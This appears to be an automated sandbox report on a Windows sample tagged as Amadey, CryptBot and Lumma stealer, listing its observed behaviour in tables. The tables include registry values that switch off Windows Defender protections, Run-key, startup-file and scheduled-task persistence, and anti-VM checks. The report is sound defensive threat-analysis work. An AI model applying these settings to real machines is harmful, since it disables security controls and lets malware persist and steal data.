Malware Analysis Report

2024-12-07 18:59

Sample ID 241114-b6qgtasgqk
Target 768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe
SHA256 768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee
Tags
amadey cryptbot lumma 9c9aa5 credential_access discovery evasion execution persistence spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee

Threat Level: Known bad

The file 768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe was found to be: Known bad.

Malicious Activity Summary

amadey cryptbot lumma 9c9aa5 credential_access discovery evasion execution persistence spyware stealer trojan upx

Amadey family

Lumma family

Detects CryptBot payload

Lumma Stealer, LummaC

Amadey

Modifies Windows Defender Real-time Protection settings

Cryptbot family

CryptBot

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Uses browser remote debugging

Checks BIOS information in registry

Checks computer location settings

Loads dropped DLL

Reads user/profile data of web browsers

Windows security modification

Executes dropped EXE

Identifies Wine through registry keys

Drops startup file

Adds Run key to start application

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

UPX packed file

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Windows directory

Enumerates physical storage devices

Browser Information Discovery

System Location Discovery: System Language Discovery

Unsigned PE

Program crash

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Scheduled Task/Job: Scheduled Task

Checks processor information in registry

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 01:45

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 01:45

Reported

2024-11-14 01:48

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

CryptBot

spyware stealer cryptbot

Cryptbot family

cryptbot

Detects CryptBot payload

spyware stealer
Description Indicator Process Target
N/A N/A N/A N/A

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3f0bcbc3dc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006098001\\3f0bcbc3dc.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cf635032f7.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006100001\\cf635032f7.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ba5f3f4658.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006097001\\ba5f3f4658.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks installed software on the system

discovery

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\skotes.job C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\service123.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h1c02.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\768f647ead725f22e417c380b0f0c14d802a91bbe75812a886b1d87c956becee.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2G3151.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3R65J.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1005956001\f2598e4572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006098001\3f0bcbc3dc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006097001\ba5f3f4658.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1006100001\cf635032f7.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1f62N1.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
